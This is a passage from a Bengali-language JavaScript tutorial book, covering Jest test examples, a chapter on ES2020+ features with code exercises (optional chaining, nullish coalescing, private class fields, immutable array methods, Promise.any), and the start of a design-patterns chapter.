const user = await fetchUser(101);
expect(global.fetch).toHaveBeenCalledTimes(1);
expect(global.fetch).toHaveBeenCalledWith('https://api.example.com/users/101');
expect(user).toEqual(mockUserData);
});
test('rejects with descriptive error when API returns 404', async () => {
global.fetch.mockResolvedValueOnce({
ok: false,
status: 404
});
await expect(fetchUser(999)).rejects.toThrow('API Error: 404');
});
});
সমস্যা ও লক্ষ্য: Login কম্পোনেন্টের ৮টি গুরুত্বপূর্ণ টেস্ট সিনারিও (Valid, Invalid Password, Empty Fields, Loading State, Error Banner, Redirect) বিশিষ্ট টেস্ট প্ল্যান ও কোড।
/*
================================================================================
LOGIN COMPONENT PRODUCTION TEST PLAN SPECIFICATION
================================================================================
1. [Happy Path]: ইউজার সঠিক ইমেইল ও পাসওয়ার্ড দিলে লোডিং স্টেট দেখাবে এবং ড্যাশবোর্ডে রিডাইরেক্ট করবে।
2. [Invalid Password]: ভুল পাসওয়ার্ডে "Invalid credentials" এরর ব্যানার প্রদর্শিত হবে।
3. [Empty Email]: ইমেইল ফাঁকা রেখে সাবমিট করলে "Email is required" ভ্যালিডেশন টেক্সট আসবে।
4. [Empty Password]: পাসওয়ার্ড ফাঁকা রেখে সাবমিট করলে "Password is required" সতর্কবার্তা আসবে।
5. [Invalid Email Format]: "@" ছাড়া টেক্সট দিলে "Invalid email address" ভ্যালিডেশন দেখাবে।
6. [Loading State]: রিকোয়েস্ট চলাকালীন সাবমিট বাটন ডিসেবল হবে এবং স্পিনার দেখাবে।
7. [Network Failure]: সার্ভার ডাউন থাকলে "Unable to connect to server" এরর ব্যানার আসবে।
8. [Post-Login Redirect]: সফল লগন শেষে রিঅ্যাক্ট রাউটার /dashboard পাথে নেভিগেট করবে।
================================================================================
*/
// tests/LoginComponent.test.js (Testing Library Paradigm)
import { describe, test, expect, jest } from '@jest/globals';
describe('Login Component Automated Suite', () => {
test('validates required fields on empty submit', () => {
// সিমুলেশন: ইমেইল ও পাসওয়ার্ড ছাড়া সাবমিট
const validateForm = (email, pass) => {
const errors = {};
if (!email) errors.email = 'Email is required';
if (!pass) errors.password = 'Password is required';
return errors;
};
const errors = validateForm('', '');
expect(errors.email).toBe('Email is required');
expect(errors.password).toBe('Password is required');
});
test('authenticates valid credentials and triggers navigation', async () => {
const mockAuthService = jest.fn().mockResolvedValue({ token: 'jwt-xyz-123' });
const mockNavigate = jest.fn();
async function handleLogin(email, password) {
const res = await mockAuthService(email, password);
if (res.token) mockNavigate('/dashboard');
}
await handleLogin('dev@example.com', 'SecurePass123!');
expect(mockAuthService).toHaveBeenCalledWith('dev@example.com', 'SecurePass123!');
expect(mockNavigate).toHaveBeenCalledWith('/dashboard');
});
});
পুরো Chapter 35-এর টেস্টিং আর্কিটেকচার ও ওয়ার্কফ্লো একসাথে:
JAVASCRIPT TESTING ECOSYSTEM
│
┌───────────────────────┼───────────────────────┐
│ │ │
UNIT TESTS INTEGRATION TESTS E2E TESTS
(70% - Fast) (20% - Medium) (10% - Slow)
│ │ │
Pure Functions API Endpoints & DB User Journey
Isolated Logic Component + Hooks Full Browser
Jest / Vitest Supertest / RTL Playwright
│ │ │
└───────────────────────┼───────────────────────┘
│
▼
CORE TESTING MECHANICS
│
┌───────────────────────┼───────────────────────┐
│ │ │
ASSERTIONS MOCKING COVERAGE
│ │ │
toBe / toEqual jest.fn() Statements
toThrow / toContain mockResolvedValue Branches
toBeCloseTo Test Doubles & Spies Functions / Lines
│
▼
TDD & PRODUCTION PIPELINE
│
Red → Green → Refactor
│
Automated CI/CD Gates
(Zero Broken Production)
Chapter 34: NPM & Modern JavaScript Tooling
↓
প্যাকেজ ম্যানেজমেন্ট, প্রজেক্ট স্ক্যাফোল্ডিং, বান্ডলিং (Vite) ও ওয়ার্কফ্লো অটোমেশন
↓
Chapter 35: Testing JavaScript (THIS CHAPTER)
↓
Unit Test, Integration Test, Jest/Vitest, Mocking, Coverage, TDD & CI/CD
↓
Chapter 36: Modern ECMAScript / ES2020+ Features
↓
Optional Chaining, Nullish Coalescing, Top-level Await, WeakRef, Temporal API
জাভাস্ক্রিপ্ট একটি জীবন্ত ভাষা যা প্রতি বছর নতুন নতুন শক্তিশালী ফিচার ও সিনট্যাক্টিক সুবিধায় সমৃদ্ধ হচ্ছে। কোডকে নাল-পয়েন্টার এরর থেকে রক্ষা করা, স্টেট মিউটেশনের ঝুঁকিহীন ইমিউটেবল অ্যারে মেথড এবং ক্লাস এনক্যাপসুলেশন নিশ্চিত করাই আধুনিক ECMAScript-এর লক্ষ্য। এই চ্যাপ্টারে আমরা Optional Chaining (?.), Nullish Coalescing (??), Logical Assignments, Private Class Fields (#), Top-Level await, .at(), Immutable Arrays (toSorted, toSpliced, with), Object.groupBy, Promise.withResolvers এবং Temporal API শিখব।
ECMAScript হলো JavaScript language-এর standard/specification। সহজভাবে:
ECMAScript ↓ JavaScript language-এর specification ↓ Browser / Node.js ↓ JavaScript চালায়
তাই:
JavaScript ≠ ECMAScript
আরও সহজভাবে:
JavaScript সময়ের সাথে নতুন feature পেয়েছে। যেমন:
ES2015 → let, const, arrow function, class ES2016 → Array.includes() ES2017 → async/await ES2018 → object rest/spread ES2019 → flat(), flatMap() ES2020 → ??, ?., BigInt, Promise.allSettled() ES2021 → ??=, ||=, &&=, replaceAll() ES2022 → class fields, #private, top-level await ES2023 → findLast(), toSorted(), toReversed(), toSpliced() ES2024 → Promise.withResolvers(), Object.groupBy(), Map.groupBy() ES2025 → নতুন standardized features
পুরোনো style:
if (user && user.address && user.address.city) {
console.log(user.address.city);
}
Modern JavaScript:
console.log(user?.address?.city);
পুরোনো style:
const name = user.name || "Guest";
Modern:
const name = user.name ?? "Guest";
Modern syntax:
?.এটি ES2020-এর গুরুত্বপূর্ণ feature। ধরো:
const user = {
name: "Ripon"
};
তুমি লিখলে:
console.log(user.address.city);
তাহলে error হবে:
Cannot read properties of undefined
কারণ:
user.address → undefined
console.log(user.address?.city);
Output:
undefined
আরও:
console.log(user?.address?.city);
এখন property missing হলেও error হবে না।
ধরো:
const user = {};
আগে:
if (user.login) {
user.login();
}
Modern:
user.login?.();
যদি function থাকে → call হবে। না থাকলে → error না দিয়ে undefined return করবে।
const users = [];
console.log(users[0]?.name);
Output:
undefined
???? ব্যবহার করা হয় যখন value শুধু null অথবা undefined কিনা check করতে চাই।
const username = null ?? "Guest";
console.log(username);
Output:
Guest
|| vs ??এটা খুব গুরুত্বপূর্ণ।
const value = 0 || 100;
console.log(value);
Output:
100
কারণ 0 হলো falsy। কিন্তু:
const value = 0 ?? 100;
console.log(value);
Output:
0
কারণ ?? শুধু:
null undefined
কে missing হিসেবে ধরে।
| Value | `value | 100` | value ?? 100 | |
|---|---|---|---|---|
null | 100 | 100 | ||
undefined | 100 | 100 | ||
0 | 100 | 0 | ||
false | 100 | false | ||
"" | 100 | "" |
ES2021-এ এসেছে:
&&=
||=
??=
||=let username;
username ||= "Guest";
console.log(username);
Output:
Guest
Equivalent concept:
username = username || "Guest";
??=let username = null;
username ??= "Guest";
console.log(username);
Output:
Guest
কিন্তু:
let score = 0;
score ??= 100;
console.log(score);
Output:
0
&&=let user = {
loggedIn: true
};
user.loggedIn &&= false;
console.log(user.loggedIn);
Output:
false
এটি conceptually:
user.loggedIn = user.loggedIn && false;
String.prototype.replaceAll()আগে:
"apple apple apple".replace(/apple/g, "orange");
Modern:
"apple apple apple".replaceAll(
"apple",
"orange"
);
Output:
orange orange orange
Promise.allSettled()আগে:
Promise.all()
একটি Promise reject করলে পুরো Promise.all() reject করে। কিন্তু:
Promise.allSettled()
সব Promise-এর result জানায়। Example:
const promises = [
Promise.resolve("Success"),
Promise.reject("Failed"),
Promise.resolve("Success 2")
];
Promise.allSettled(promises)
.then(results => console.log(results));
Result conceptually:
[
{ status: "fulfilled", value: "Success" },
{ status: "rejected", reason: "Failed" },
{ status: "fulfilled", value: "Success 2" }
]
তুমি ৩টি API call করলে:
API 1 → Success API 2 → Failed API 3 → Success
তবুও তুমি তিনটির result-ই জানতে চাও। তখন:
Promise.allSettled()
খুব useful।
Promise.any()ES2021-এর আরেকটি গুরুত্বপূর্ণ feature।
Promise.any([
Promise.reject("Server 1 failed"),
Promise.resolve("Server 2 success"),
Promise.resolve("Server 3 success")
])
.then(result => console.log(result));
Output:
Server 2 success
কারণ Promise.any() প্রথম fulfilled Promise-এর result দেয়।
AggregateErrorযদি:
Promise.any([
Promise.reject("A"),
Promise.reject("B"),
Promise.reject("C")
]);
সব Promise reject করলে Promise.any() একটি AggregateError reject করে। এতে multiple errors পাওয়া যায়।
_বড় number পড়া সহজ করার জন্য:
const population = 170_000_000;
এটি equivalent:
const population = 170000000;
আর:
const price = 1_299_999;
এটা শুধু readability-এর জন্য।
ধরো configuration:
const config = {
theme: null,
debug: false
};
Default theme:
config.theme ??= "light";
Output:
console.log(config.theme);
light
#ES2022-এ JavaScript class-এ true private fields এসেছে।
class BankAccount {
#balance = 0;
deposit(amount) {
this.#balance += amount;
}
getBalance() {
return this.#balance;
}
}
Use:
const account = new BankAccount();
account.deposit(100);
console.log(account.getBalance());
Output:
100
কিন্তু:
console.log(account.#balance);
এটা বাইরে থেকে access করা যাবে না।
আগে:
class User {
constructor(name) {
this.name = name;
}
}
Modern:
class User {
name = "Guest";
age = 0;
}
তারপর:
const user = new User();
console.log(user.name);
Output:
Guest
class Config {
static appName = "My App";
}
Access:
console.log(Config.appName);
Output:
My App
Instance দিয়ে:
const config = new Config();
console.log(config.appName);
এখানে undefined হবে। কারণ appName static।
class MathUtil {
static square(n) {
return n * n;
}
}
Call:
console.log(MathUtil.square(5));
Output:
25
Modern JavaScript-এ:
class App {
static version;
static {
App.version = "1.0.0";
}
}
তারপর:
console.log(App.version);
Output:
1.0.0
Static block class initialization-এর সময় একবার execute হয়।
awaitES2022-এর খুব গুরুত্বপূর্ণ feature। Module-এর top level-এ await ব্যবহার করা যায়। ধরো:
const response = await fetch(
"https://example.com/data"
);
const data = await response.json();
console.log(data);
আগে await সাধারণত:
async function load() {
...
}
এর ভিতরে লাগত। ES Modules-এ top-level await ব্যবহার করা যায়।
বিশেষ করে:
Module initialization Configuration loading Database setup Dynamic resource loading
তবে module execution dependency-এর কারণে ব্যবহার করার সময় performance ও startup behavior বিবেচনা করতে হবে।
.at()ES2022-এ at() এসেছে। আগে array-এর last element:
const numbers = [10, 20, 30];
console.log(numbers[numbers.length - 1]);
Modern:
console.log(numbers.at(-1));
Output:
30
const numbers = [10, 20, 30, 40];
console.log(numbers.at(-1));
console.log(numbers.at(-2));
Output:
40 30
String-এর ক্ষেত্রেও:
console.log("Hello".at(-1));
Output:
o
Object.hasOwn()আগে:
Object.prototype.hasOwnProperty.call(
user,
"name"
);
Modern:
Object.hasOwn(user, "name");
Example:
const user = {
name: "Ripon"
};
console.log(
Object.hasOwn(user, "name")
);
Output:
true
এটি property নিজের property কিনা check করে।
Error.causeএকটি error-এর original cause attach করা যায়।
try {
throw new Error("Database failed");
} catch (error) {
throw new Error(
"Could not load user",
{ cause: error }
);
}
পরে:
catch (error) {
console.log(error.message);
console.log(error.cause);
}
এটি debugging এবং error chaining-এর জন্য useful।
Array.findLast()ES2023-এর feature। ধরো:
const numbers = [10, 20, 30, 20];
শেষ থেকে খুঁজতে:
const result = numbers.findLast(
n => n === 20
);
console.log(result);
Output:
20
findLastIndex()const numbers = [10, 20, 30, 20];
console.log(
numbers.findLastIndex(n => n === 20)
);
Output:
3
Modern JavaScript-এ একটি গুরুত্বপূর্ণ ধারণা হলো non-mutating array methods। ES2023-এ:
toSorted()
toReversed()
toSpliced()
এসেছে।
toSorted()পুরোনো:
const numbers = [3, 1, 2];
numbers.sort();
console.log(numbers);
sort() original array পরিবর্তন করে। Modern:
const numbers = [3, 1, 2];
const sorted = numbers.toSorted();
console.log(sorted);
console.log(numbers);
Result:
[1, 2, 3] [3, 1, 2]
Original array unchanged।
toReversed()const numbers = [1, 2, 3];
const reversed = numbers.toReversed();
console.log(reversed);
console.log(numbers);
Output:
[3, 2, 1] [1, 2, 3]
toSpliced()splice() original array modify করে। toSpliced() নতুন array return করে।
const numbers = [1, 2, 3, 4];
const result = numbers.toSpliced(1, 2);
console.log(result);
console.log(numbers);
Output:
[1, 4] [1, 2, 3, 4]
with()ES2023-এর আরেকটি useful immutable array method। ধরো:
const numbers = [10, 20, 30];
আগে:
numbers[1] = 100;
Original array পরিবর্তিত হবে। Modern:
const updated = numbers.with(1, 100);
console.log(updated);
console.log(numbers);
Output:
[10, 100, 30] [10, 20, 30]
React-এর মতো state-based development-এ immutable style খুব useful।
Array.prototype.toSorted() কেন React-এ Useful?ধরো:
const [users, setUsers] = useState([...]);
খারাপ approach:
users.sort();
setUsers(users);
কারণ original array mutate হয়েছে। Better:
setUsers(users.toSorted());
অথবা comparator সহ:
setUsers(
users.toSorted(
(a, b) => a.name.localeCompare(b.name)
)
);
Object.groupBy()ES2024-এর একটি গুরুত্বপূর্ণ feature। ধরো:
const users = [
{ name: "A", role: "admin" },
{ name: "B", role: "user" },
{ name: "C", role: "admin" }
];
Group:
const grouped = Object.groupBy(
users,
user => user.role
);
console.log(grouped);
Conceptually:
{
admin: [
{ name: "A", role: "admin" },
{ name: "C", role: "admin" }
],
user: [
{ name: "B", role: "user" }
]
}
Map.groupBy()যদি grouping result হিসেবে Map দরকার হয়:
const grouped = Map.groupBy(
users,
user => user.role
);
Difference:
Object.groupBy() → Object Map.groupBy() → Map
Promise.withResolvers()ES2024-এর useful Promise feature। আগে:
let resolvePromise;
const promise = new Promise(resolve => {
resolvePromise = resolve;
});
Modern:
const {
promise,
resolve,
reject
} = Promise.withResolvers();
তারপর:
resolve("Success");
Promise:
promise.then(console.log);
Output:
Success
এটি বিশেষ করে custom async abstractions, event-based systems এবং Promise control-এর ক্ষেত্রে useful।
String.isWellFormed()Unicode string-এর malformed surrogate আছে কিনা check করতে ব্যবহার করা যায়।
const text = "Hello";
console.log(text.isWellFormed());
Output:
true
toWellFormed()Malformed Unicode থাকলে replacement character ব্যবহার করে well-formed string তৈরি করতে পারে।
const text = "Hello";
const safeText = text.toWellFormed();
console.log(safeText);
Output:
Hello
Temporal সম্পর্কে গুরুত্বপূর্ণ কথাঅনেক JavaScript developer Temporal নিয়ে শুনেছেন। Temporal-এর উদ্দেশ্য:
Date-এর limitations কমানো
যেমন:
Date Time Timezone Duration Calendar
তবে গুরুত্বপূর্ণ বিষয়:
তাই production project-এ ব্যবহার করার আগে target runtime/browser support যাচাই করা উচিত।
using / Explicit Resource ManagementModern ECMAScript-এর resource management feature হিসেবে:
using
await using
ধারণা এসেছে। উদাহরণস্বরূপ কোনো resource:
File Connection Lock Stream
ব্যবহার শেষে automatically cleanup করার উদ্দেশ্যে। Concept:
using resource = createResource();
Scope শেষ হলে resource disposal-এর mechanism কাজ করতে পারে।
Modern frontend development-এ একটি বড় concept:
Mutation ❌ Immutable Update ✅
পুরোনো:
const numbers = [1, 2, 3];
numbers.reverse();
Original array পরিবর্তন। Modern:
const numbers = [1, 2, 3];
const reversed = numbers.toReversed();
Original:
[1, 2, 3]
New:
[3, 2, 1]
আগে:
const hasName =
Object.prototype.hasOwnProperty.call(
user,
"name"
);
Modern:
const hasName =
Object.hasOwn(user, "name");
Code অনেক cleaner।
ধরো তিনটি API:
const requests = [
fetch("/users"),
fetch("/products"),
fetch("/orders")
];
সব সফল না হলেও result দরকার:
const results =
await Promise.allSettled(requests);
একটি সফল হলেই result দরকার:
const result =
await Promise.any(requests);
আগে:
const copy = [...numbers];
copy.sort();
Modern:
const sorted = numbers.toSorted();
আগে:
const copy = [...numbers];
copy.reverse();
Modern:
const reversed = numbers.toReversed();
আগে:
const copy = [...numbers];
copy.splice(1, 1);
Modern:
const updated = numbers.toSpliced(1, 1);
React development-এ তুমি অনেক জায়গায় এগুলো ব্যবহার করবে:
<p>{user?.profile?.name}</p>
const pageSize = settings?.pageSize ?? 10;
const sortedUsers =
users.toSorted(
(a, b) => a.name.localeCompare(b.name)
);
findLast()const lastAdmin =
users.findLast(user => user.role === "admin");
Node.js application-এ:
const result =
await Promise.allSettled([
fetchUsers(),
fetchProducts(),
fetchOrders()
]);
Error handling:
try {
await database.connect();
} catch (error) {
throw new Error(
"Database connection failed",
{ cause: error }
);
}
Private class state:
class Database {
#connection;
connect() {
this.#connection = "connected";
}
}
সব browser সব modern feature একই সময়ে support নাও করতে পারে। তাই production-এর আগে:
Browser support
Node.js version
Build tool
Babel
Transpiler
Polyfill
বিবেচনা করতে হয়।
Babel হলো JavaScript compiler/transpiler ecosystem-এর একটি গুরুত্বপূর্ণ tool। ধরো তুমি modern syntax লিখলে:
const result = user?.profile?.name;
পুরোনো environment-এর জন্য toolchain এটাকে compatible form-এ transform করতে পারে। তবে:
খুব গুরুত্বপূর্ণ distinction।
Syntax পরিবর্তন করে। উদাহরণ conceptually:
Modern JS ↓ Compiler ↓ Older-compatible JS
যে API নেই, তার implementation provide করে। যেমন:
Missing API
↓
Polyfill
↓
Available behavior
কোনো feature support করে কিনা check করা যায়।
if ("at" in Array.prototype) {
console.log("Supported");
}
অথবা:
if (Promise.withResolvers) {
console.log("Supported");
}
এটি runtime compatibility handling-এর জন্য useful।
এ দুটো আলাদা।
user?.name
Promise.allSettled()
Syntax-এর জন্য transpiler কাজ করতে পারে। API-এর জন্য runtime/polyfill support প্রয়োজন হতে পারে।
| Version | গুরুত্বপূর্ণ Features |
|---|---|
| ES2020 | ?., ??, BigInt, Promise.allSettled(), Promise.any() |
| ES2021 | replaceAll(), logical assignment, numeric separators |
| ES2022 | class fields, private #, static blocks, .at(), Object.hasOwn(), top-level await, Error.cause |
| ES2023 | findLast(), findLastIndex(), toSorted(), toReversed(), toSpliced(), with() |
| ES2024 | Object.groupBy(), Map.groupBy(), Promise.withResolvers(), well-formed string methods |
| ES2025 | নতুন standardized language features; runtime support অনুযায়ী ব্যবহার |
বাস্তব project-এর জন্য priority:
?. ?? async/await Promise.allSettled() Promise.any() ??= ||= &&= Array.at() toSorted() toReversed() toSpliced() Object.hasOwn() private #fields
Object.groupBy() Map.groupBy() Promise.withResolvers() Error.cause static fields static blocks top-level await
using
await using
Temporal concepts
Unicode well-formed APIs
|| এবং ??-এর difference কী?0 || 10
→ 10
0 ?? 10
→ 0 কারণ ?? শুধু null এবং undefined handle করে।
sort() এবং toSorted() difference?sort()
→ original array mutate করে।
toSorted()
→ নতুন sorted array দেয়।
Promise.all() এবং Promise.allSettled()?Promise.all():
একটি reject
→ পুরো Promise reject
Promise.allSettled():
সবগুলোর final result
→ fulfilled/rejected দুটোই
Promise.any() কী করে?প্রথম fulfilled Promise-এর result দেয়। সব reject হলে AggregateError দেয়।
Nested property missing হলেও error avoid করতে:
user?.profile?.name
class User {
#password;
}
#password class-এর বাইরে directly access করা যায় না।
.at(-1) কী করে?Array/String-এর শেষ element দেয়।
[10, 20, 30].at(-1)
→ 30
আধুনিক ফুলস্ট্যাক প্রজেক্টে (React & Node.js) প্রতিদিন কাজে লাগার মতো ১০টি সেরা উদ্ভাবন:
| Feature / Method | Introduction | Syntax / Code Snippet | Primary Benefit |
|---|---|---|---|
| Optional Chaining | ES2020 | user?.address?.city | TypeError: Cannot read properties of undefined চিরতরে রোধ |
| Nullish Coalescing | ES2020 | const port = customPort ?? 3000 | ফলসি ভ্যালু (0, "") নষ্ট না করে শুধু null/undefined চেক |
| Promise.allSettled | ES2020 | Promise.allSettled([p1, p2]) | একটি ব্যর্থ হলেও সব প্রমিজের পূর্ণাঙ্গ ফলাফল পাওয়া যায় |
| String.replaceAll | ES2021 | 'a-b-c'.replaceAll('-', ' ') | গ্লোবাল রেজেক্স (/g) ছাড়াই সকল ম্যাচ প্রতিস্থাপন |
| Logical Assignment | ES2021 | options.timeout ??= 5000 | ভ্যালু নাল হলে তবেই শর্ট-সার্কিট অ্যাসাইনমেন্ট |
| Numeric Separator | ES2021 | const salary = 1_500_000 | কোডের ভেতরে বড় সংখ্যার পঠনযোগ্যতা বৃদ্ধি |
| Private Class Fields | ES2022 | class Bank { #pin = 1234; } | ক্লাসের বাইরে থেকে ফিল্ড এক্সেস সম্পূর্ণ ব্লক |
| Array.prototype.at() | ES2022 | arr.at(-1) | নেগেটিভ ইনডেক্স দিয়ে পেছনের উপাদান এক্সেস |
| Object.hasOwn() | ES2022 | Object.hasOwn(obj, 'prop') | hasOwnProperty এর নিরাপদ ও সুরক্ষিত বিকল্প |
| Error Cause | ES2022 | new Error('Fail', { cause: err }) | অরিজিনাল এরর সংরক্ষণ করে রুট-কজ চেইনিং |
| Array.toSorted() | ES2023 | const sorted = arr.toSorted() | মূল অ্যারে অক্ষত রেখে নতুন সর্টেড অ্যারে তৈরি (React-safe) |
| Array.toSpliced() | ES2023 | const removed = arr.toSpliced(0, 1) | ইমিউটেবল স্লাইসিং ও উপাদান অপসারণ |
| Array.with() | ES2023 | const updated = arr.with(2, 99) | নির্দিষ্ট ইনডেক্সের মান পরিবর্তন করে ফ্রেশ কপি রিটার্ন |
| Array.findLast() | ES2023 | arr.findLast(n => n > 10) | পেছনের দিক থেকে প্রথম ম্যাচিং উপাদান খুঁজে বের করা |
| Object.groupBy() | ES2024 | Object.groupBy(users, u => u.role) | অ্যারের অবজেক্টগুলোকে শর্তানুযায়ী ক্যাটাগরিাইজড অবজেক্টে রূপান্তর |
| Promise.withResolvers | ES2024 | const { promise, resolve } = Promise.withResolvers() | প্রমিজ ও রিজলভ/রিজেক্ট ফাংশন সরাসরি ডিকনস্ট্রাক্ট |
সমস্যা ও লক্ষ্য: নিচের তিনটি স্টেটমেন্টের এক্সিকিউশন আউটপুট কী হবে এবং 0 এর ক্ষেত্রে || এবং ?? কীভাবে ভিন্ন আচরণ করে তা ব্যাখ্যা করুন।
// Input Evaluation Code
console.log(0 || 50); // আউটপুট: 50
console.log(0 ?? 50); // আউটপুট: 0
console.log(null ?? 50);// আউটপুট: 50
সমস্যা ও লক্ষ্য: nested অবজেক্ট থেকে ক্র্যাশ ছাড়া নিরাপদে ডাটা পড়তে Optional Chaining ও Nullish Coalescing ব্যবহার করে প্রোডাকশন ফাংশন লিখুন।
const userA = {
profile: {
address: { city: 'Dhaka', zip: 1205 }
}
};
const userB = { profile: null };
// ❌ Risky: userB-তে TypeError ক্র্যাশ করবে
// const city = userB.profile.address.city;
// ✅ Modern Safe Navigation
function getCity(user) {
return user?.profile?.address?.city ?? 'Unknown City';
}
console.log('User A City:', getCity(userA)); // Dhaka
console.log('User B City:', getCity(userB)); // Unknown City (No crash!)
সমস্যা ও লক্ষ্য: Array-এর শেষ উপাদান বের করার জন্য ট্র্যাডিশনাল arr[arr.length - 1] এর বদলে আধুনিক .at(-1) মেথড প্রয়োগ করুন।
const numbers = [10, 20, 30, 40];
// Old Syntax
const lastOld = numbers[numbers.length - 1];
// Modern ES2022 Syntax
const lastModern = numbers.at(-1); // শেষ উপাদান: 40
const secondLast = numbers.at(-2); // শেষের আগের উপাদান: 30
console.log('Last Element:', lastModern);
console.log('Second Last:', secondLast);
সমস্যা ও লক্ষ্য: এমন একটি BankAccount ক্লাস তৈরি করুন যেখানে name পাবলিক, #balance প্রাইভেট এবং ভ্যালিডেশনসহ deposit() ও getBalance() মেথড থাকবে।
class BankAccount {
name; // পাবলিক ফিল্ড
#balance = 0; // ট্রু প্রাইভেট ফিল্ড (ক্লাসের বাইরে সম্পূর্ণ অদৃশ্য)
constructor(accountHolder, initialDeposit = 0) {
this.name = accountHolder;
if (initialDeposit > 0) this.#balance = initialDeposit;
}
deposit(amount) {
if (amount <= 0) {
throw new Error('Deposit amount must be strictly positive');
}
this.#balance += amount;
return this.#balance;
}
getBalance() {
return this.#balance;
}
}
const account = new BankAccount('Tanvir', 500);
account.deposit(250);
console.log(`${account.name} Balance: $${account.getBalance()}`); // $750
// ❌ SyntaxError: Private field '#balance' must be declared in an enclosing class
// console.log(account.#balance);
সমস্যা ও লক্ষ্য: মূল অ্যারে অপরিবর্তিত রেখে [10, 5, 30, 20, 15] অ্যারেকে descending অর্ডারে সাজানোর জন্য toSorted() মেথড ব্যবহার করুন।
const numbers = [10, 5, 30, 20, 15];
// ❌ Mutating sort(): মূল numbers অ্যারেকে স্থায়ীভাবে বদলে ফেলে
// numbers.sort((a, b) => b - a);
// ✅ Modern ES2023 Immutable toSorted()
const descending = numbers.toSorted((a, b) => b - a);
console.log('Original Array:', numbers); // [10, 5, 30, 20, 15] (অক্ষত!)
console.log('Descending Sorted:', descending); // [30, 20, 15, 10, 5]
সমস্যা ও লক্ষ্য: তিনটি কনকারেন্ট এপিআই কলের মধ্যে কিছু প্রমিজ ফেইল করলেও যাতে পুরো প্রসেস ক্র্যাশ না করে প্রতিটি কলের স্টেট পরীক্ষা করুন।
const fetchA = Promise.resolve({ source: 'Payment Gateway', status: 'OK' });
const fetchB = Promise.reject(new Error('Auth Service Timeout (504)'));
const fetchC = Promise.resolve({ source: 'Notification Service', status: 'Delivered' });
async function loadSystemStatus() {
const results = await Promise.allSettled([fetchA, fetchB, fetchC]);
results.forEach((res, index) => {
if (res.status === 'fulfilled') {
console.log(`Service #${index + 1} [ACTIVE ✅]:`, res.value);
} else {
console.warn(`Service #${index + 1} [FAILED ❌]:`, res.reason.message);
}
});
}
loadSystemStatus();
সমস্যা ও লক্ষ্য: ব্যবহারকারীর রোল (admin/user) অনুযায়ী ইউজার তালিকাকে অবজেক্ট গ্রুপিং করার জন্য আধুনিক ES2024 Object.groupBy() মেথড প্রয়োগ করুন।
const users = [
{ name: 'Tanvir', role: 'admin' },
{ name: 'Sakib', role: 'user' },
{ name: 'Rahim', role: 'admin' },
{ name: 'Karim', role: 'user' },
{ name: 'Ayesha', role: 'editor' }
];
// Modern ES2024 Declarative Grouping
const groupedByRole = Object.groupBy(users, (user) => user.role);
console.log(groupedByRole);
/*
আউটপুট:
{
admin: [ { name: 'Tanvir', role: 'admin' }, { name: 'Rahim', role: 'admin' } ],
user: [ { name: 'Sakib', role: 'user' }, { name: 'Karim', role: 'user' } ],
editor: [ { name: 'Ayesha', role: 'editor' } ]
}
*/
সমস্যা ও লক্ষ্য: একাধিক ব্যাকআপ এপিআইয়ের মধ্যে যেটি প্রথম সফল রেসপন্স দেবে সেটি গ্রহণ করুন এবং সবগুলো ফেইল করলে AggregateError হ্যান্ডেল করুন।
const mirrorCDN1 = new Promise((_, reject) => setTimeout(() => reject('CDN 1 Offline'), 100));
const mirrorCDN2 = new Promise((resolve) => setTimeout(() => resolve('CDN 2 High-Speed Data Payload'), 200));
const mirrorCDN3 = new Promise((resolve) => setTimeout(() => resolve('CDN 3 Data Payload'), 500));
async function fetchFastestAsset() {
try {
// যেটি প্রথম সফল হবে সেটিই ফলাফল দেবে (ব্যর্থতাগুলো ইগনোর করবে)
const fastestResponse = await Promise.any([mirrorCDN1, mirrorCDN2, mirrorCDN3]);
console.log('⚡ Connected via Fastest Mirror:', fastestResponse);
} catch (error) {
if (error instanceof AggregateError) {
console.error('All mirror servers failed:', error.errors);
}
}
}
fetchFastestAsset();
পুরো Chapter 36-এর আধুনিক ফিচার ও ফুলস্ট্যাক অ্যাপ্লিকেশন একসাথে:
MODERN ECMASCRIPT ECOSYSTEM │ ┌───────────────────────┼───────────────────────┐ │ │ │ NULL SAFETY CLASS & OOP IMMUTABLE DATA │ │ │ ?. (Optional Chain) #private fields Array.prototype ?? (Nullish Coalesce) static blocks ├── toSorted() ??= ||= &&= Top-Level await ├── toReversed() Numeric Separators (_) Error.cause ├── toSpliced() │ │ └── with() │ │ │ └───────────────────────┼───────────────────────┘ │ ▼ CONCURRENCY & GROUPING │ ┌───────────────────────┴───────────────────────┐ │ │ Promise.allSettled() Object.groupBy() Promise.any() (Fallback) Map.groupBy() Promise.withResolvers() Temporal (Upcoming) │ ▼ FULL-STACK JAVASCRIPT TOOLKIT │ ┌────────────────────┼────────────────────┐ │ │ │ REACT NODE.JS APIs State-Safe Secure Classes Fault-Tolerant Immutability Encapsulation Data Pipelines
Chapter 35: Testing JavaScript
↓
Unit Testing, Integration Testing, Assertions, Jest/Vitest, Mocking & CI/CD
↓
Chapter 36: Modern ECMAScript / ES2020+ Features (THIS CHAPTER)
↓
Optional Chaining, Nullish Coalescing, Top-level Await, toSorted, Object.groupBy
↓
Chapter 37: JavaScript Design Patterns
↓
Singleton, Factory, Observer, Module, Prototype, Proxy & MVC/MVVM Architectural Patterns
সফটওয়্যার ডেভেলপমেন্টে রিয়ুজ্যাবল, টেস্টেবল ও মেইনটেইনেবল কোড লেখার জন্য ডিজাইন প্যাটার্ন অপরিহার্য। এটি কোনো কপি-পেস্ট কোড নয়, বরং বারবার ঘটা সফটওয়্যার সমস্যার একটি প্রমাণিত স্ট্রাকচারাল সমাধান। এই চ্যাপ্টারে আমরা Creational (Factory, Singleton, Builder), Structural (Adapter, Decorator, Facade, Proxy), Behavioral (Observer, Pub/Sub, Strategy, Command, State, Chain), Architectural (MVC, Repository, Service Layer, Dependency Injection) এবং React ও Node.js-এর বাস্তব প্যাটার্নসমূহ সম্পূর্ণ কোড সহ শিখব।
ধরো তুমি একটি বড় application বানাচ্ছো। তোমার code-এ আছে:
User Product Cart Payment Database API Authentication Notification
সবকিছু যদি একসাথে লিখো:
// 5000+ lines
তাহলে project maintain করা কঠিন হয়ে যাবে। Design Pattern সাহায্য করে code-কে:
Organized Reusable Maintainable Scalable Testable
রাখতে।
ধরো একটি বাড়ি বানাবে। Architect প্রতিবার নতুন করে ভাববে না:
বরং established architectural principles ব্যবহার করবে। Software Design Pattern-ও অনেকটা একই।
Problem ↓ Known Pattern ↓ Structured Solution
এটি খুব গুরুত্বপূর্ণ। Design Pattern:
❌ Copy-paste code
নয়। বরং:
✅ Design idea
✅ Structure
✅ Communication pattern
